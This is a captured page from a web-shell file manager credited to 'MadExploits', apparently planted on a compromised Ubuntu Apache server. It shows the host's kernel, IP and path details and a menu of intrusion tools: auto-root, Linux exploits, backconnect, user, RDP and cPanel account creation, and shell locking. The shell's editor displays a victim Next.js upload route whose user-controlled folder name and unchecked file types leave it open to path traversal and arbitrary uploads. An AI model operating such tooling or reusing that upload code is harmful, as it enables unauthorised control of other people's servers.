Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
src /
app /
api /
addEventFiles /
[ HOME SHELL ]
Name
Size
Permission
Action
route.js
1.56
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : route.js
import connectSql, { connection } from "../connectDb/route"; import { NextResponse } from "next/server"; import { getServerSession } from "next-auth"; import { writeFile, mkdir } from "fs/promises"; export async function POST(req, res) { const session = await getServerSession({ req }); if (!session) { return; } const data = await req.formData(); const files = data.getAll("files[]"); // getting attachments connectSql(); for (const file of files) { const byteData = await file.arrayBuffer(); const buffer = Buffer.from(byteData); const currtime = new Date().getTime(); const eventName = data.get("eventName"); const eventDate = data.get("eventDate"); let final_folder_name = eventName+eventDate final_folder_name = final_folder_name.replaceAll(' ',''); await mkdir(`./public/uploads/${final_folder_name}`, { recursive: true }); const extension = file.type.split("/")[1]; const path = `./public/uploads/${final_folder_name}/${currtime + "." + extension}`; await writeFile(path, buffer); const query = `INSERT INTO images (imageId,Events_eventId) VALUES (${currtime}, ${parseInt( data.get("eventId") )})`; const res = await connection .promise() .query(query) .then(([data, fields]) => { return data; }) .catch((err) => { return NextResponse.json( { result: "Error uploading attachments" }, { status: 500 } ); }); } return NextResponse.json({ result: res }, { status: 200 }); }
Close